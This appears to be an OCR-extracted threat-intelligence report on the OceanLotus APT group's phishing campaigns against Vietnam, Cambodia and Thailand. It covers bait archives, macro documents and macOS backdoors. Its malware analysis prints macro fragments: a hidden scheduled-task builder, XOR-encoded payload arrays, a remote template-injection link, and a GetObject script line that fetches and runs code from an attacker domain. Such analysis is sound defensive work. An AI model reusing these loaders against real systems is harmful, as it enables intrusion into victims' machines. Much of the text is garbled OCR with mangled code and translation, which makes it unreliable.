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Overview

OceanlLotus is an APT Group with alleged Viethamese background. The group was first
revealed and named by SkyEye Team in May 2015. Its attack activities can be traced
back to April 2012. The targets include China's maritime institutions, maritime
construction, scientific research institutes and shipping enterprises.
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In fact, according to reports of various security vendors, OceanLotus also attacked
several countries, including Cambodia, Thailand, Laos, even some victims in Vietnam,
like opinion leaders, media, real estate companies, foreign enterprises and banks.
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RedDrip Team (formerly SkyEye Team) has been to OceanLotus to keep track of high
strength, groupactivity, found it in the near future to Indochinese Peninsula countries
since 2019 the latest attack activity used in the initial launch load files and attack using
the technology, and combined with the QiAnXin threat intelligence data, associated with
a series of attacks.

In this report, we share our summary of the latest attack techniques, attack payloads and
related attacks of the OceanLotus, hoping that we can jointly improve understanding of
OceanLotus group, an extremely active APT group.

Attacks on Countries

The following is a list of typical cases of attacks against some countries on Indochinese
Peninsula since the end of 2018. For other unmentioned samples, please refer to the
IOC list at the end of this report.

Vietnam

Bait Compression Files

On April 1, 2019, RedDrip discovered a Vietnamese file name "Hop dong sungroup.rar"
in the process of daily monitoring the attack activities of the OceanLotus.

The English version is "Sun Group contract". The compressed package contains
winword.exe which is renamed as “Noi dung chi tiet hop dong sungroup can chinh sua”.

4r | ==  E# Hop dong sungroup.rariHop dong sungroup - B3I 419.8 KB -
EfR Rl FEE#ER =3 st
- (ERER) i
[#ENoi dung chi tiet hop dong sungroup can chinh sua.exe 3393KB 1141 KB RAES 2018-03-29 1747
|5 wwlib.dll 80.5 KB 414 KB WEESTE 2019-03-25 22:34

In addition, we are also associated with another package decoy
SUN_GROUP_CORPORATION that translates as "Sun Group Corporation". The file
name in the zip package is as follows:

Noi dung can xac thuc va sua GUl den CONG TY CO PHAN TAP DOAN MAT TROI Bo
Tai chinh. exe

4r [0 i= | 8 sUN_GROUP_CORPORATION.rar\SUN_GROUP_CORPORATION - BE4/):3 420.3 KB

= R EER =2 BHEH

- (ERER) pocio
[=/Nei dung can xac thuc va sua gui den CONG TY CO PHAN TAP DOAN MAT TROI Bo Tai Chinh.exe 3303KB  1141KB RAEF 2018-03-29 17:47
=] wwilib.dll 810KB 434KB RAESTRE 2019-03-29 23:15

It turned out that Sun City Group was actually one of the largest real estate developers
in Vietham.
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SUN GROUP'S HISTORY

SUN GROUP FOCUSES ON THE 4 MAIN FIELDS:

1998 - 2006

Both samples were uploaded by Vietham. Therefore, we speculate that the OceanlLotus
Group in the Sun City internal staff fishing attacks.

In addition to targeting the Vietnamese real estate industry, we also found that the group
would conduct phishing attacks against the national bank of Vietnam:

The compressed package of the related samples is called cplh-nhnn-01-209.rar. The
corresponding date of the samples is January 22, 2019, and the attack is most likely to
occur in a similar period.

4 [E = | B cPIH-NHNN-01-2019.rar - 8421 451.3 KB

E=2] s S = EL

- (ERBR) T
[5=] ChiPhilienHoanNHNN-BC2019.exe 3393 KB 1141 KB [MAEF 2019-01-22 10:48
2] wwlilo.dlll 1120KB 627 KB HAEFE 2019-01-22 10:48

The Chinese name of the compressed package is: "national bank of Vietnam -- 01-
209.rar";The winword. Exe in the package was renamed "chiphilienhoannhnn-
bc209.exe", which translated as "state bank of Vietham sbv-bc 209.exe".

SBV refers to Vietnam's central bank, the state bank of Vietnam (SBV), while BC actually
refers to B2C, or third-party payment.

This attack is likely to be launched against the bank's internal staff, similar to the
document transmission process disguised as a third-party payment within the bank.

In addition, there are anti-virus software related information through the disguise of
fishing.
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Compressed package name: "Gui lai cho MS.MAI post content kaspersky. Rar" (return
MS.MAI post content kaspersky)

= ui lai cho . ost content kaspersky.rar\Gui lai cho . ost content kaspersky - g\; 3 v
4 &= B Gui lai cho MS.MAI p kasp A\Gui lai cho MS.MAI p kasp B 452.3
=i R EEE =R {ERTEES

. (EREZR) prat=o3 i
[#5]Gui lai cho MS.MAI post and banner content kaspersky.exe 3303 KB 1141 KB WAERF 2018-03-29 17:47

\J wwlib.dll 113.0 KB 619 KB WEESTE 2018-12-06 11:21

We also see oil as a theme for fishing:

"Tinh dau can mua" (essential oil required), the PE file in the package is called "details
about purchase and purchase"

4+ & := | E¥ Tinh dau can mua.ziphTinh dau can mua - 887/ 421.3 KB

= FEgEAT EES =3 EREE

- (ERER) st
[#E|Noi dung chi tiet mot so san pham tinh dau can mua.exe 330.3KB  1364KB HEERF 2018-03-29 17:47
& wwlib.dil B20KB 477 KB RUEESTE 2019-04-08 22:32

Bait Documents

The above compression package contains the Kaspersky name bait, and there is also a
similar name "Content marketing kaspersky.doc" in the bait document. After opening the
document, it will be shown as follows, enabling the macro attack method for the
Vietnamese version of the induced click.

@ Microsoft Word 2016

I'ai li€u nay da dugc luu trir dudi phi€n ban khac vai phién ban hién tai ¢
Microsoft ( C ,b n | ich hoat tinh
voi phién ban hiér b sach nhap vao nat

In addition, we also found a large number of OceanLotus disguised as a resume attack
fishing activities, we internally named it OceanCV activity, and this activity will directly
OceanLotus commonly used three macro attack means all exposure.

First of all, we analyze the sample names. It can be seen that the sample names all start
with CV and have the characteristics of naming. There are three main types:

1, CV- name (e.g., cv-nguyenquynhchi.docx)
2. CV- name - position (e.g. CV-AnthonyWei- customerservice. docx)
3. CV- random number + English (e.g. Cv-103237-ewqdsd.doc)

It is worth noting that some samples will show the identity indicating the need to enable
macro after opening:
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] Office

Warning: This document does not display correctly, because this Font
is not yet updated. Please turn on Enable Editing. -

© oo iy

] Office

Enable Editing.

Then update Font, click Enable Content..

However, when you pull down the progress bar, you will find resumes written in
Viethamese, which is true for most of the samples in the series of activities, and the
resumes are inconsistent.
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And these sample phishing resumes use different methods.Some use the OceanLotus
MSO macro (RedDrip internally named MSOMacro)

hitml.

html. exe

Some use template injection techniques:
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< 2xmi version="1.0" encoding="UTF-8" standalone="yes"?>

<Relationships xmlns="http://schemas.openxmlformats.org/package/2i
Type="http://schemas.openxmiformats. org/cfﬁ(eDc(ument/Z006/re|al|onshlps/aﬂa(hedTemplate ITargel:"hﬂps://outlook.updateofﬁ(es.nel/lead.png"
TargetMode="External"/> </Relationships>

ip Ld=rrid”

Some use the technique of converting macro code to a 1-pound font hidden in a
document (later upgraded to a white 1-pound font, internally named OHNMacro for
RedDrip).

Calibrn (FB321 - | 1 | A

eI
7 TR

LA L N TR AR L3068 R
i L )

K
i

s ok S LATHE A WA BT i Al S AHUA DS LA 58P Vo e Al

Easet'AE, TRAISUMLET 1T sy et
At i 34 g AL

In the following sections we will examine each of these three macro usage analyses in
detail.

According to this batch of resume samples, we conducted homologous sample
correlation for these three macro documents, combined with various dimensions, and
finally found a large number of exclusive malicious macro samples of OceanLotus.
Please refer to the relevant section of Office samples for details.

Exploit Vulnerabilities of Eternal Blue

We also found that OceanLotus used the "Eternal blue" series of vulnerabilities to target
companies in Vietnam that provided software to the government.

Website: https://www.tandan.com.vn/portal/home/default.aspx

TAN DAN JSC for Vietnam's software company.
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L (+84)(4)3847. 38230041 | EAcont an.com.vn Bing nhap

THNDHN —JSC TRANGCHU ~ GIGITHIEU SANPHAM KHACHHANG TINTOC-SUKEN TUYENDUNG  LENHE Q
Congty cb phan tin hoc Tan Dan

P CoNg ty c6 phan tin hoc Tan Dan

Cong ty Cé phin Tin hoc Tan Dan, tién than la Céng ty TNHH Phét trién Ky
thuat va Theong mai Tan Dan, thanh lap ndm 1996. Nam 2002, cong ty chinh
thec chuyén déi thanh Cong ty Cé phan Tin hoc Tan Dén vsi dang ky Kinh
doanh sé 0103001206 ngay 15/7/2002 do UBND thanh phé Ha Nai cip.

Véi hon 15 nam thanh lap va phat trién cng dsi ngt Lanh dao, Nhan vién
nang déng, uu td, giau kinh nghiém, Tan Dan da teng busc khang dinh duoc
gia tri va vi thé cia minh trén thi treong san xuat phan mém noi riéng va
nganh CNTT cia Viet Nam néi chung.

CHITIET

®© @ 6 O

Co cAu té chire Hb sor nang lwc Binh huéng phat trién Khach hang

Déi tac chinh

The company will provide the government with mail servers, official gazette
database systems, citizenship management systems and more.

MAIL SERVER

EMAIL SYSTEM

Tan Dan provides email solutions based on IBM Lotus Domino infrastructure
The Domino mail server is the backbone communication infrastructure of an
organization that acts as both an Internet mail server and Notes mail server.

SEE DETAILS

OFFICIAL GAZETTE
DATABASE'SYSTEM

The Official Gazette of the Province was built as a tool to assist users in the
system, storage, management and dissemination of legal documents issued .o

by competent authorities at the provincial and district levels.

SEE DETAILS

MANAGEMENT OF CIVIL
gﬂlﬂﬁqﬂw F CIVIL STATUS e

Qua; V%

The software provides preeminent features suitable for civil status
management system in all units and agencies across the country.

SEE DETAILS

After the attack is successful, it will distribute Trojan horses. In the report "suspected" of
"OceanLotus" organization's early attack activities against domestic colleges and
universities "compiled by us last year, the Trojan horses used eternal blue to attack
colleges and universities are consistent.

https://ti.gianxin.com/blog/articles/oceanlotus-targets-chinese-university/

Phishing Attacks by Exploiting WinRAR Vulnerability
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In addition to traditional malicious payloads that take advantage of black and white
mechanisms, malicious payloads that infiltrate tweets and websites, OceanlLotus also
takes advantage of the latest Winrar vulnerability to launch attacks against Vietnam.Here
is one of the cases we captured:

The package name is "tut_photoshop_scan_bank_id.rar"

o <UP-DIR>  2019/4/29 17:3... ZEMiE d..
[+ <SUBDIR>  2019/2/2122:0... ftk du..

@ 1ipg 281,107 2019/2/2122:0... PG IfF 281,107 100% Good - 0x2B..
[ 1.psd 1,255,922 2019/2/21220... PSDITH¥ 1,255,922 100% Good  -.. 0X2E...
(5] 2pg 227,226 2019/2/2122:0... PG HF 227,226 9%  Good - 0eDC...
[#5)2.psd 1,688,711 2019/2(21 22:0... PSD X1 1,688,711 100% Good o 0x2A...
3.jpg 225,017 2019/2/2122:0... PGIfF 225,017 100% Good - OXAF.
[55]3.psd 1,903,698 2019/2/2122:0... PSD ¥ 1,903,698 100%  Good - OxSF..
“ipg 1,273,862 2018/2/2122:0... PG 1,273,862 100% Good - OxiB...
[54.psd 8,724,681  2019/2(2122:0... PSD XM 8724681  100% Good - 0x75...
s ARIALUNI.TTF 23,275,812 2019/2/2122:0... TrueType FHIIH 23,275,812 100%  Good - 0x2C.
[#]bank.psd 3,025,020 2019/2/2122:0... PSD ¥ 3,025,020 100% Good - Ox3F..
bark_copy.jpg 362,302 2019/2/2122:0... FGHF 362,302 100% Good - 0x23...
[8=Icard.psd 15,037,073 2019/2/2122:0... PSD ¥ 15,037,073 100% Good -, ...
Card_copy.jpg 290,512 2019/2/2122:0... PG IfF 290,512 100% Good o OxF8...

s Imprisha. tif 54,980 2019/2/2122:0... TrueType FH 3 54,980 100%  Good - OxB8A.
[=INam_1.psd 521,785  2019/2/21220.. PSDITH¥ 5,211,785 100% Good  -.. 0x1F..,
[=Inam_2.psd 10,604,129 2019/2/2122:0... PSD 3 10,604,129  100% Good -, 0x3C...
[5=Nam_3.psd 3,422,039 2019/2(21 22:0... PSD X1 3,422,039 100% Good o 0x64...
[55/Nam_4.psd 6,014,052 2019/2/2122:0... PSD 3 6,014,052 100% Good - Ox44A.
[®ENu_t.psd 2,131,871 2019/2/2122:0... PSD ¥ 2,131,871 100%  Good - 0xC4,
[N _2.psd 3,022,455 2019/2/2122:0... PSD 3T 3,022,455 100% Good - 0x33...
[Ny _3.psd 5,923,571  2019/2/2122:0... PSDITMF 5,923,571  100% Good  -... 0xF3...

s+ OCR_A_BT.ttf 26,568 2019/2/2122:0... TrueType =3 26,568 100%  Good - 0xCB.

1 OCR_A_Extended.ttf 56,624 2019/2/2122:0... TrueType I {F 56,624 100%  Good - 0x69..

+ OCRAStd.otf 29,40 2019/2/2122:0...  OpenType FHIIF 29,460 99%  Good - 0x2L..,

\ (OCR-8_10_Pitch_BT.tf 21,028 2018/2/2122:0...  TrueType I 21,028 100% Good ... 037,
[#]us-bank.psd 1,944,230 2019/2(21 22:0... PSD X 1,944,230 100% Good o 0x38...
@ us-bank_copy.jpg 209,750 2019/2/2122:0... PG IfF 209,750 100% Good - OxFC.

From the sample trigger vulnerability extract file, its name is called CocCocUpated. Exe

Pt Compressed Rato  Mebod A.. Comeent  CRC

ST 1% Ged D,

COCCOC is a Viethnam was founded in 2013 as a new technology company, provides
online Internet search engine services and browsers, the main language used in
Vietnamese and English, the search service is Vietnam's most mature, browser is based
on Google Chromium development, support Windows, iOS platform.

Browser O Search Map Math  Celebriies  Advertising *

(/A e =
.‘ COC COC Desktop | Mobile | Mojichat | Blog

Browser and Search

Monthly active users: Automatically add Viethamese tones
23,836,585 and check spelling

Download BlOWSBl@ Thém déu va xua 16i trinh ta khi g tiéng Viét

Size: 1.17 MB
For Windows: 7/8/10

Download Vieinamese version

Download Windows version (Windows: XP f Vista)

Download Mac OS X version

60 T ok X L

Check spelling Dictionary Convert currency Download video, audio Send files to mobile

Through analysis, we found that it was the early Trojan framework of OceanLotus, and
we also put it in the section of sample analysis for separate analysis.

Bait, of course, in addition to the above, we also found that the OceanLotus will use
compressed package embedded MP4 way exploit, compressed package name
translated roughly "Cho exclusive blockbuster movie" Ray hospital, including Cho Ray
refers to ho chi minh city, Vietnam water wok hospital (Chg'Ray), ho chi minh city,
Vietnam's largest general hospital.
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e BT EEEN = MRz =y g e | Fmme

£ ‘ﬂ Doc-quyen_Hinh-anh-Tong-Trongj-tai-benh-vien-Cho-Ray.rar - EIS283 ACE FBEES24, A7V 91,464,076 T
=

£ b EEEAN 2

- RS
| 2| Doc quyen Hinh anh Tong Trongj tai benh vien Cho Ray.mp4 30044765 30044765 MPA ik
. 5] Doc quyen Phe nham bat dau ban nhan su sau tin dot quy.mp4 50,975,567 50,975,567 MP4 ZiF

The package contains two MP4 files, one of which is identical to the package name, and
a video translated as "the team began staffing after the exclusive stroke press release.

+ Doc-quyen_Hinh-anh-Tong-Trongj-tai-benh-vien-Cho-Ray

SEIES ~ H=E ~ SRR FETieE

fojiva=4

s vy

Doc quyen Hinh anh Tong Trongj tai benh Doc quyen Phe nhom bat dau ban nhan su
vien Cho Ray.mp4 sau tin dot quy.mp4

A — . |

| NGUYEN PHU TRONG

DOT -

Similarly, released for coccocupdate.exe

® |gl 3j-tai-benh-vien-Cho-Ray.ra\CAC:C:.\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup - EIS#) ACE i, 84

£ o EERA ER fEREE
- iR
[ CocCocUpdated.exe 543,744 543744 REES 2019/2/21 22:03

And its distribute means is the way that USES network dish to undertake putting

however.
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woww.mediafire.com/file/c3fr D oW %
= ]
D MediaFire /7 7\ Instant Grammar Checker
St L] S o amtemadnees

Doc-quyen Hinh-anh-Tong-Trongj-...

Free Writing Tool <+

® MediaFire Get ad free downloads and 1 TB of space.

r, word choice, and
re in your writing. It's

This new Trojan horse will be analyzed in detail in the section of sample analysis.

MAC Backdoor

In addition to targeting Vietnam on the Windows platform, OceanLotus also attacks
Vietnamese users on the MacOS platform. The following samples are typical of recent
launches, which use such means as browser update, Flash installation update package,
font installation package, disguised as a document to actually attack the installer.

Oceanlotus B L [)

Firefox.dmg Fonts Installer FlashUpdate

. & 7 3
MacOS oo

Google Software Noi dung chi tiet.#X Don khieu nai.docx

baC kdOOI’ Update MEocx

Interestingly, when we were analyzing the samples disguised as Firefox, it would show
the interface of installing Firefox after opening. Double-click the icon of Firefox, and the

Trojan horse would be executed:

o @ E] Firefox

https://ti.qianxin.com/blog/articles/oceanlotus-attacks-to-indochinese-peninsula-evolution-of-targets-techniques-and-procedure/ 10/69
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When you click on the update, even if you are disconnected from the Internet, the

download progress bar will appear.
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Firefox

50.0 What's new

)

w2 m.-“@uﬁ

Firefox is designed by Mozilla, a global community working
together to keep the Web cpen, public and accessible to all.

Want to help? Make a donation of get involvea!

Licensing Information End-User Rights Privacy Policy

-

VMware Shared
Folders

°

Firefox

This is the fake interface the attacker drew:

=™ Bt Foil
en.lproj =

] ajax-loader.gif GIF 32 9 KB

(@] background.png PNG B 68 KB

[Ra| Backgroundinfo.png PNG B 17 KB

(@] ba.png PNG Ei& 13 KB

|| GSUIcon.icns ICNS 37{% 783 KB

[Rs| Update Add-on copy.png PNG Ei 29 KB

|| UserDefault.conf CONF 3Zi% 81 KB

| ViewController0.nib NIB 3244 6 KB

|| ViewControllerL.nib NIB 32{% 9 KB

|| ViewController2.nib NIB 3744 4 KB

=] background.png - Windows BBREE5 = | B ||

SR v FIEP) v EFEMHE)  ®mREU) - FIFO) < @

Firefo
Firefox is designed by .a working

together to keep the Web open,

‘Want to help?

public and accessible to all.

ar

JoRe

Similarly, in the following chapters, this batch of MacOS samples targeted at Vietham

were extended for analysis.

Cambodia

Here is this year's latest attack on Cambodia by OceanLotus, called "report-no.0162(02

Pages).doc."

The sample operation process is shown in the following figure:
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The samples associated by homology are as follows:

MD5 Filename Create time

56b5a96b8582b32ad50d6b6d9e980ce7 Request Comment on 2019-03-18
UYFC.doc 04:12:00

3fd2a37c3b8d9eb587¢c71ceb8e3bb085  No0.039714(cdri).doc 2019-03-25
04:33:00

The associated sample for the Cambodia attack Request Comment on uyfc.doc.

The UYFC is actually a Cambodian youth federation, the | UYFC ngo, which attacks
people who might be associated with the conference.

FSMNRSINFESTRRYDN n About Us Program v Gallery v Contact Us
¥ UNION OF YOUTH FEDERATIONS OF CAMBODIA
P \

']

ed in a later version of Microsoft Office.

Enable Content” to view this document

u Loading...

No0.039714(cdri).doc
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Microsoft Word

This Document is protected

Please click “Enable Content” to view protected data

1) SECURITY WARNING Macros have been disabled. | _Enable Content

It is clear that the attack on Cambodia also used OHN macros.

In addition to scanning documents, last year hilina also Scanned Cambodia using
MacOS samples. Related sample: "Scanned Investment report-july 2018.zip"

Thailand
The typical examples of attacks by OceanLotus against Thailand since 2019 are as
follows
MD5 Filename Create
time
4¢c30e792218d5526f6499d23  Form_Provisional Agenda of the ASEAN 2019-01-
5448bdd9 Senior Officials Preparatory Meeting.doc 21
02:25:00
d8a5a375- Program Retreat.doc 2019-01-
da7798be781cf3eab89ae7ab 14
03:50:00

It is named Form_Provisional Agenda of the ASEAN Senior Officials Preparatory
Meeting.

Actually, the meeting was successfully held in Thailand on April 6, 2019. From the
creation time and upload time of the document (2019-03-22), it can be seen that
OceanLotus has a strong ability to obtain current affairs and a long preparatory cycle.

During the meeting, the ASEAN 10 countries and eight dialogue partner countries including Australia,
China, India, Japan, South Korea, New Zealand, Russia and the United States jointly reviewed the report
of the ADSOM Working Group; the ASEAN Secretariat’'s report on past ASEAN development and
submission The contents of the ASEAN Defense Ministers Extended Meeting (ADNMM) held \nat
the end of this year. The meeting focused on the latest developments in the three-year (2016-2018) expert
working group of the ASEAN Defense Ministers Extension, including humanitarian assistance, disaster

relief, maritime security, military medicine, counter-terrorism, peacekeeping operations and cybersecurity.

The second document, Program Retreat, may target the military, but the broader
meaning of the name does not make the attacker's heart sink.

Besides, the document contents of the two files in the above table are the same. The
following is the screenshot after restoring the shellcode font in the document:
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A AR B R H

Microsoft Loading...

To view this conten, pleae clck *Enable Editng”
rom theyellow ber and then clck “Enable Content

464347494 37A754530

corsersaBacon

It also USES OHN macros.

Sample Analysis

MSO Macro Documents

The "MSO macro" of OceanlLotus has commonality. We analyzed one sample, and it can

be seen that the extracted macro code is as follows:

First it adds the Data through the Data variable, and then after base64 decryption,
decrypts the VBS code, releases it into the msohtml.log, and copies wscript. Exe into

Windows \SysWOW64\msohtml.exe:

tgrIRwdsnmuquriMIt
Data - Data +
Data +
Data +

Data + *
Data + *
Data + "
Data + "
Data +
Data +
Data +
Data + *
Data + *
Data + "L
Data + "LDI
Data + "LDY
Data + "L
Data + "LDY

<LWrBEXmDJohyq
DTPCDKLWrBEXmDIohy!

KTCmuIMgBIRYZHLr
1rL .l
KTCmuIMgBIRYZHIrL.Close
ECUjRVpvzrBd =

CPW As
Environ(

arcPath
If OFSO.

FileCopy wRXFRFhGCXCPH & "\Wi

If

Execute the msohtml.log script by copying msohtml.exe (that is, wcript.exe), as shown in

the figure below:

TUmVmgUiWfGXVnAnEPgZ
Y 1pRBn1KUskHk

TnbMvygNwK
TnbMvygNwKe

PdWkQsFO jPBLICbWkYDN As
Pdul

CnACSIYjdxmUAnw

/b " & FxrIUmVmgUiWfGXVnAnEP

https://ti.qianxin.com/blog/articles/oceanlotus-attacks-to-indochinese-peninsula-evolution-of-targets-techniques-and-procedure/
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And create scheduled tasks:

yiBhyERIualWRmBjcsIbCZLq(MBr

A AR B R H

CnACSTYjdxmUAnw As String)

TriggerTypeTime
ActionTy

rvi CreateObject

service.Connect
rootFolder

rootFolder = service.GetFolder("

taskDefinition
taskDefinition =
principal

principal = taskDefinition.principal

principal.LlogonType =
ttings

settings = taskDefinition.settings

settings.Enabled =

settings.StartWhenAvailable =

settings.Hidden =
triggers

triggers = taskDefinition.triggers

trigger

trigger = triggers.Create(TriggerTypeTime)

startTime, endTime
time
time = DateAdd(

Now)

startTime = XmlTime(time)

trigger.StartBoundary
trigger.Enabled =
Repetition

tartTime

Repetition = trigger.Repetition
Repetition.Interval = "PT" & &

Action

Action = taskDefinition.Actions.Create(ActionTypeExec)

Action.Path
Action.Arguments = e

rootFolder.RegisterTaskDefinitio

{(" &M CnACSIYjdxmUAnw &

taskDefinition,

The contents of the msohtml.log script are as follows. It will execute the data in the cs
array after xor 518:

DU, 301, TTL, DLU, 0D, 0IU, DI, 200, TTT, 0IU, 0L, 010, DL, D40, DTL, DL0, DL, D10, D30, 311,

550, 603, 610, 631, !

=hrray (585, B16, 550, 579, 628, 628, 617, 628, 550, 598, 611, 529, 27, 19, 611, 550, 534, 611,

S7a, 581, 568, 577, | BYS, 626, 524, 575, 627, 516, 613, 626, 623, 617, 616, 550, 617, 576, 636, 625, 578, 577, 592, 584,

827, 616, 613, 626,1 §
828, 611, 807, 5771 B1

, 622, 578, 618, 626, 636, 531, 596, 528, 587, 607, 558, 590, 639, 556, 532, 579, 629, 608, 565,
537, 608, 608, 529, 590, 504, 599, 815, 631, 612, 623, 581, 50T, 528, 554, 578, 611, 588, 576,

csa. 511, A28, S9! 26| 26, 804, 574, 5A0, 528, 609, 27, 575, 545, 608, 599, 608, 559, 524, 617, 576, 36, 626, 574,

593, 36, 590, 595, 1 511
550, 561, 588, 628, ! 792,
592, 620, 620, 610, 720
827, 616, 613, 626, 1 724,
599, 597, 598, 551, 1 °9L B

9z, 554, 615, 522, 578, 616, 626, 636, 631, 596, 628, 587, 607, 550, 571, 550, 590, 539, 586,
79, 529, 608, 565, 612, 597, 609, 609, 623, 530, 604, 599, 615, 631, 612, 623, 551, 607, 628,
7,550, 578, 619, 586, 576, 626, 526, 604, 579, 590, 626, 509, 627, 578, 585, 508, 599, 608,
9, 616, 610, 550, 576, B2T, 616, 513, 628, 623, 617, 616, 524, 578, 623, 619, 550, 538, 559,
, B36, 583, 622, 509, 536, 539, 623, 594, 608, 579, 604, 518, 613, 594, 554, 621, 578, 577,

Sa5, 598, 593, 619, ¢ 631, 60Y, 510, 584, 627, 526, 610, 617, 591, 623, 597, 623, 620, 591, 618, 615, 591, 595, 578, 610,
B26, 580, 616, 595, ¢ 554 STE| 536, 630, €25, 515, 577, 804, 631, 639, 807, 610, 621, 596, 626, 619, 622, B0G, 628, 524,
So1, 596, 621, 617, 596, B15\B16, 10, 17, 519, 623, 636, 511, 524, 621, 574, 577, 631, 609, 610, 564, 627, 626, 610,

594, 612, 593, 5a7, | B17, 981,
550, 571, 550, 5o5, | 915, 538,

23, 547, 623, B20, 591, 618, 618, 591, 535, 578, 610, 550, 571, 550, 596, 616, 610, 524,
0, 625, 618, 577, 604, 31, 639, 607, 610, 621, 596, 626, 619, 622, 606, 628, 550, 571,

571, 550,593, 536, L350, 286, BY8, 610, 524, 598, 589, 584, B18, B38, 563, 622, 809, 836, 599, 823, 504, 608, 578, 804,
558, 631, 624, 592, 503, 526, 591\ 596, 621, 617, 592, 504, 591, 605, 576, 554, 565, 596, 593, 519,
594, 612, 593, 587, 610, 554, 628 {539, 591, 610, 636, 621, 58T, 629, 639, 543, 626, 580, 518, 595,

553): emd="": For each ¢ in
Execute(emd)+

=! cmd=emd#Chr (o xor S18): Fext :

KDGqgANuTdoTiS15T11TUDd = And
DapulGzaydkRemhXs = R

Function AHAGbiciflaby( TLCeRzfvdUWMIAR )
Dim JRURPLCmEukI, eskaeCmGeloz( )
ReDim cskaeCmGelos( Len( TLCeKzfvdUWMIAQ ) - 1)
For JRURPLCIaEukI = 0 To USound( cskaeCmGeloz )
= Ase(Mia( T

1100

N
GHAGbiciRNaby = cskasCmGeloz

Znd Funccion

Dim ADDbGXWHRAKEZ

Function fdqBruAKAMVGDTSIA( eciMFIDKFSUVHUXeBLVAL )

)

ReDim iKicgh = Len( ecrfEl:

) -1

For NnjdVivRdRzrerBsuMDokeos = 0 To UBound ( iKitaGhDaqrefEZAJmujUH )

Nt
Z4qBruAKARVGDTSLA = iKitxGhDaqLefEAIEIUE

Znd Funccion

Dim VMTI0pHATpHIbCIzin

cnd=cmdévberlf:

The decrypted script, as shown in the figure, will execute the malicious code after the
elements in the cs array xor 415:

= Asc( Mid( evrrrL " . KeoZ + 1, 1))

,504,445,438) - cma=

xox 419) [ exc | ,

Sunction WaHPSDuiVxi D (CIZTAWDIXVRWI

WZHPSDUiURiipreYGuD = CIrTAWDIXVRWJ + erTV3jdOrkkjanzos
Znd Funccion
Dim 20 | UVECIRKVZLEE.

Rendomize
QUUECIRKOVZIEE = Rad
ORWETHWMANEyTaz3MsyHTBIY = Rnd

D (qUVECIRKSVZIEE,

es=hrray(464,497,447,474,453, 453,496,453, 447, 461,506, 492,490, 498,506, 447, 465, 506, 487,431,447, 421,447, 452,506, 451,447, 478,474,474, 457,502, 493,478, 506,503,474, 452, 453,476, 47C
91,421,503, 491,491, 495, 452,421,432, 432, 496, 495, 506, 497,

433,509,506, 491,510,496, 505, 505,502, 508, 506, 433, 497,

https://ti.qianxin.com/blog/articles/oceanlotus-attacks-to-indochinese-peninsula-evolution-of-targets-techniques-and-procedure/
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After decryption of malicious code as shown in figure: will be downloaded from
https://open.betaoffice.net/cvfemale.png code and execution.

On Error Resume Next : set AEEVirAehEsZClvyURUVdafL =
GetObject("script:https:/fopen.betacffice.net/cvfemale.png”)
OHN Macro Documents

Extract the macro code from the sample, open the word document, it will prompt to
enable the macro, after enabling the macro will execute this function:

AutoOpen()

¥XLNBsvUKPSANdAW jubAGle pmcQIvg28DaslQ7ETL

Then it will copy its office document to temp and name it random, as shown in the figure:

xLNBsvUKP5ANd4ljubAGIe_pmcQIvg20Da6IQ7EL()

ErrorHandler

FA1RtwkFRrnsHsibbUrduk5G1nl

1qA0T3bSHSLMR5F:

3 FFL1UTGO7MRUM)

NT2d7rdAPNCi 7hU1 arGi42TN68NzglneH29SN2L j - Reghirite RpkpnByaP_eHK74Q_ TIwkQfTKA3vn2T6UBRKMEG, 1, "REG_DHORD™

Take the data in the last five paragraphs of the total number of paragraphs (5
paragraphs in total, 2 blank lines, 3 with hex data), convert it from hex to bin, add it to
the macro code of the new file, and then set the x_NOth1ngH3r3 method to execute the
macro code after 1 second:
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LSgT1ImrJuniFcsNwg40T3bSMSLMRS f7100Ykaol () As Stri
eX80KB0GK5PZOrLNGXCYbf81xP_GaPThKEDKrx2L As
POSY7yWFHATOEWIZp7RVIIXHC XPaEqWZVSX40bV1 As
JKZAXUBOVCHKHBBHayMAT1phE jUpoFbedPCOKMZT As S
Y123uBSmERUEP1KYVIWDBCGFOI7SyMXPX32HSMN2 As
SYBYLVPTVFV2qm7VBO2Nu_QuVSImiDSzZVUb3tUVS As
TnSRVpCWB64107 tHEDFCEATNMBYadrHWYVADYFE As
Hwq9yOgVkINQhQUPFUSUMS1SHpXMSkQIZDZG3r1Z As
75iBKTR009avYd] CpbAGLMPQI]_MNGEXco90Cega As
N3gT2Rgho 1 41180604 1AbVqiHVEN1 As
gNy8eqp27BFZ xapypenvDzHecl)
2yAb_KyGCWUmrE1 SFIVEWNUA2DSPASrIN_XQnqu As
pe WFHATOEWIZP7RVOIXHCXPagqWzvsxa0bV1 = ActiveDocument.Paragraphs (ActiveDocument .Paragraphs.Count - 5).Range.T
2yAb_KyGCWUmPE 1SF7VEWNUdA2D5 rAerN_xQmqu
1 To Len(p6sY7ywFHATOEWIZp7RV: PagqWzvsx40bV1) - 1 Step 2
%40bV1, i, 1)
uBSMERUEP1KYVIWDBCGFOT7
SyBYLVPTVFV2qm7VBE2NU_QuV5ImiD:
TnSRVpCB641@ztHEDFCEATNMBYa4rHIYVADYFO
Value = sy8ylLVPTVFV2qm7VBe2Nu_QuV5ImiDS:
2yAb_KyGCWUmrEd SF7VEWNUAA2DSFASrIN_XQmqu =

XUBOVClkHBBHaYMAT 1phEjUpoFbadPCQKMZT)

A8k4aHWQIC BIBKN (y1g3 UBSMERUEP 1 kYVIWDBCG FOT7SyMXPX32HSMN2)
jOZtHEDFCtATNMSYaarHWYVFDYF8
2yAb_KyGCWumrE1 SF7VEWNUA2DSrAerIN_xOuqu & Chr(Value)

t i

LSgT1ImrIumhFc sNwqa0T3bSMSLMR57100Vkaol = zyAb_KyGCHumrEiS7VEWNudA2DSrAeriN

nT2d7rdAPNCi7hU1arGi42 INGENzg L

rasg; XMUI11TM63Tdkmak150c 04RO
r88tfzof3pxMUI11TM63 Tdkmak150cB4RtOt0A2S.
r88tfzof 3pxMUI11TM63 Tdkmak150CO4RLOt

6 C6TMIrv77X(
r88tFzof 3pxMUI11TM63Tdkmak150C04!

FsmcCgikkKjDpSCAPM
DaGyqhHrfR2#o_EUXHPHINaoPVX!
Each NaAkdm@BuNznlCAbriTTui33dZAUegiluwmohweq Tn DaGyghHr-FR2Mo_EUXHDHONZOPVXSC7YIUDCEQNe
T NaAkdm@BuNzn1CAbriTTui33dZAUegiluMnohueq.Type = 1 Then
Da6yqhHr-FR2Mo_EUXHPHONaOPVXScm7YIUDCOQNe . Remove (NaAkdmBuNzn1CAbriTTui i TtmOh

i 1utnOhweq
